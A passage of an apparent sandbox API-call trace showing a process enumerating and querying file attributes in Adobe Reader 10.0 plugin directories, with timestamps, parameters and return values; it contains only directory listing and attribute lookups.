	[0054.498] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.UKR", cAlternateFileName="")) returned 1
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.UKR", cAlternateFileName="QUICKT~1.UKR")) returned 1
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="WINDOW~1.UKR")) returned 1
	[0054.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.499] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), fInfoLevelId=0x0, lpFileInformation=0x1283f958 | out: lpFileInformation=0x1283f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), fInfoLevelId=0x0, lpFileInformation=0x1283f9a8 | out: lpFileInformation=0x1283f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), fInfoLevelId=0x0, lpFileInformation=0x1283f9f8 | out: lpFileInformation=0x1283f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), fInfoLevelId=0x0, lpFileInformation=0x1283fa48 | out: lpFileInformation=0x1283fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fa98 | out: lpFileInformation=0x1283fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63)) returned 1
	[0054.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fae8 | out: lpFileInformation=0x1283fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263)) returned 1
	[0054.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fb38 | out: lpFileInformation=0x1283fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263)) returned 1
	[0054.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fb88 | out: lpFileInformation=0x1283fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663)) returned 1
	[0054.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fbd8 | out: lpFileInformation=0x1283fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263)) returned 1
	[0054.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fc28 | out: lpFileInformation=0x1283fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063)) returned 1
	[0054.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fcc8 | out: lpFileInformation=0x1283fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63)) returned 1
	[0054.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fd68 | out: lpFileInformation=0x1283fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63)) returned 1
	[0054.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fdb8 | out: lpFileInformation=0x1283fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463)) returned 1
	[0054.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fe08 | out: lpFileInformation=0x1283fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063)) returned 1
	[0054.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fe58 | out: lpFileInformation=0x1283fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63)) returned 1
	[0054.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), fInfoLevelId=0x0, lpFileInformation=0x1283fea8 | out: lpFileInformation=0x1283fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63)) returned 1
	[0054.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d"), fInfoLevelId=0x0, lpFileInformation=0x1283fef8 | out: lpFileInformation=0x1283fef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1
	[0054.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.508] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), fInfoLevelId=0x0, lpFileInformation=0x128581e8 | out: lpFileInformation=0x128581e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988)) returned 1
	[0054.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), fInfoLevelId=0x0, lpFileInformation=0x12858238 | out: lpFileInformation=0x12858238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90)) returned 1
	[0054.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), fInfoLevelId=0x0, lpFileInformation=0x12858288 | out: lpFileInformation=0x12858288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590)) returned 1
	[0054.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d"), fInfoLevelId=0x0, lpFileInformation=0x128582d8 | out: lpFileInformation=0x128582d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90)) returned 1
	[0054.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d"), fInfoLevelId=0x0, lpFileInformation=0x12858328 | out: lpFileInformation=0x12858328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190)) returned 1
